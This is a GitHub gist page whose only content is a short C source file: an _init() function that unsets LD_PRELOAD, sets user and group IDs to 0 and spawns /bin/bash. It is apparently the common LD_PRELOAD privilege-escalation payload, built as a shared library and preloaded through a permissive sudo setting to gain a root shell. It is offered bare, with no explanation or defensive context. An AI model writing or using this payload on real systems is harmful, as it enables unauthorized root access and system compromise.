Skip to content

Instantly share code, notes, and snippets.

@int0x33
Created March 25, 2019 21:36
Embed
What would you like to do?
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment